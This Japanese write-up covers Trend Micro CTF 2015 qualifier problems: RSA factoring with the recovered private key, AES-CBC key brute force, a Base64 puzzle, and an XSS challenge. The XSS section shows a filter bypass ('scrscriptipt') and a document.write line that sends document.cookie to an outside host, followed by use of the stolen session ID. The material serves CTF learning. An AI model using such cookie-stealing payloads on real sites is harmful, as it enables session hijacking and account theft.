Trend Micro CTF 2015 予選 Writeup
_0x0_ で 0x0 のメンバーと一緒に出てました。
解いた問題
- Attack-Offensive 300
- Crypto 100, 200, 500
- Programming 200
Crypto100
問題文は忘れましたが鍵の1ビットが間違っているらしいので公開鍵を調査します。
$ openssl rsa -in PublicKey.pem -pubin -text Modulus (256 bit): 00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12: f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6: ea:7b:fc Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL NsNuDJa26nv8AgMBAAE= -----END PUBLIC KEY----- $ ./rsatool.py info PublicKey.pem N = 82401872610398250859431855480217685317486932934710222647212042489320711027708 e = 65537
Nが 256 bit で明らかに素因数分解する問題のようです。
適当に factordb に投げる。 http://factordb.com/index.php?query=82401872610398250859431855480217685317486932934710222647212042489320711027708
やたら素因数が多いので明らかにNが間違っている。256bit なので 255 通り 0 と 1 を入れ替えて素因数分解を試すスクリプトを書いたのだが、よく見ると N が偶数になっているので最下位の 1bit が間違っていることは自明だった…。
ということで
N = 82401872610398250859431855480217685317486932934710222647212042489320711027709
素因数分解はmsieveに投げて行ったが、SageMath Onlineでも投げたまま放っておいたら素因数分解できていたらしい。
あとはやるだけ。
$ openssl rsa -in key.pem -text Private-Key: (256 bit) modulus: 00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12: f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6: ea:7b:fd publicExponent: 65537 (0x10001) privateExponent: 66:15:bd:16:c8:f9:7c:25:34:5e:9b:e0:a3:2b:c5: 9f:99:ce:0e:40:4f:21:be:bb:e9:7c:e3:bd:6d:c7: 8d:01 prime1: 00:d1:fd:95:65:da:e2:64:f5:fd:57:95:3d:bf:b9: e8:0d prime2: 00:de:18:43:68:2a:b2:b4:82:cc:ff:50:6f:02:cf: 77:b1 exponent1: 09:d0:77:46:0e:67:dc:5e:1e:dc:14:0e:91:c2:67: 95 exponent2: 3f:9f:47:c0:11:6b:3c:16:b4:4e:f7:65:b5:b2:65: 21 coefficient: 70:5c:89:87:14:da:41:59:01:f6:92:6a:28:2d:8d: 39 writing RSA key -----BEGIN RSA PRIVATE KEY----- MIGpAgEAAiEAti3OnyWBY1cj22sYjxLwRpy+4MvF2ss2w24Mlrbqe/0CAwEAAQIg ZhW9Fsj5fCU0XpvgoyvFn5nODkBPIb676XzjvW3HjQECEQDR/ZVl2uJk9f1XlT2/ uegNAhEA3hhDaCqytILM/1BvAs93sQIQCdB3Rg5n3F4e3BQOkcJnlQIQP59HwBFr PBa0TvdltbJlIQIQcFyJhxTaQVkB9pJqKC2NOQ== -----END RSA PRIVATE KEY----- $ ./rsatool.py info key.pem N = 82401872610398250859431855480217685317486932934710222647212042489320711027709 e = 65537 p = 279125332373073513017147096164124452877 q = 295214597363242917440342570226980714417 d = 46174319388196978265129247000251984002598502609436833115707069256591953333505 $ openssl rsautl -decrypt -in enc -inkey key.pem TMCTF{$@!zbo4+qt9=5}
Crypto200
画像で紙に印刷された Python のソースコードを渡されます。1 と I と l が見分けにくくてつらい。
CBC の特性について問う問題のようです。CBC の復号化では
という式で復号化されます。
つまり、画像ではマスクされている 1 ブロック目の暗号文は、 2 ブロック目を復号化したものに 2 ブロック目の平文をXORすれば求まることになります。 同様に、 1 ブロック目の暗号文を復号化したものと 1 ブロック目の平文を XOR すると IV を求めることができます。
共有鍵は 2 文字 = 16bit
足りないだけなので適当に総当りして、求めた 1 ブロック目の暗号文と画像で一部見えてるの hex が一致するものを取ってくればいい。
from Crypto.Cipher import AES import sys import string plain = "The message is protected by AES!" block2 = "307df037c689300bbf2812ff89bc0b49".decode('hex') KEY = "5d6I9pfR7C1JQt" # 2 more chars def decrypt(message, passphrase, IV='\0'*16): aes = AES.new(passphrase, AES.MODE_CBC, IV) return aes.decrypt(message) REALKEY = '' block1 = '' for a in string.printable: for b in string.printable: TMPKEY = KEY + a + b xored_plain = decrypt(block2, TMPKEY, plain[16:]) hexa = hex(int(xored_plain.encode('hex'), 16)) if '0xfe' in hexa and 'ec3L' in hexa: print hexa block1 = xored_plain REALKEY = TMPKEY print decrypt(block1, REALKEY, plain[:16])
0xfe1199011d45c87d10e9e842c1949ec3L Key:rVFvN9KLeYr6
Crypto 500
解けたのに間違ってるらしい、クソとか言ってたら問題が間違っていたらしく、シャワーを浴びていたら他の人が submit していた。
500 点問題なのにやるだけ。問題文がわかりにくかった。
もうちょっと言えば BASE64 の1文字は 6bit なのでどう頑張っても隣接した2文字の影響しか受けない。というわけで 52 * 52 の総当りを行った。エンコードする上で 6 bitに満たない時は 0 を埋めるのを忘れずに。
import string chars = string.ascii_letters b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' table = set() # gen table for c in chars: b = '{:08b}'.format(ord(c)) table.add(b[:6]) table.add(b[2:]) table.add(b[6:] + '0000') table.add(b[4:] + '00') for d in chars: b2 = '{:08b}'.format(ord(c)) table.add(b[6:] + b2[:4]) table.add(b[4:] + b2[:2]) a = '+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for t in table: num = int(t, 2) a = a.replace(b64[num], '') print a
+/f7 sha1sum: 67569763552b4e9b8ac950be0d25f446f8470c60
Attack-Offensive 300
そんなに早く解いた気はしないけど何故か first solve で 3pt 追加でもらえた問題。
長々と書くと面倒なので要所のみ。
- お問い合わせページのフォームが POST だけでなく GET でもパラメータを受け付けることに気づく
- XSS ができるらしい。 script は消去が1度しか消去していないので scrscriptipt で回避
- location.href が使えないらしいことに気づく
- 外部からスクリプトを読み込む URL を作ってそこからさらに XSS
document.write('<img src="http://mydomain/?' + escape(document.cookie) + '">');
- 奪ったセッションIDを使って診断結果を見ると名前の部分にフラグ
PHPSESSID=mj20l7bae2r5d2jod8e40b0q12 TMCTF{B1ack L!st1ng Is N0t 3nough}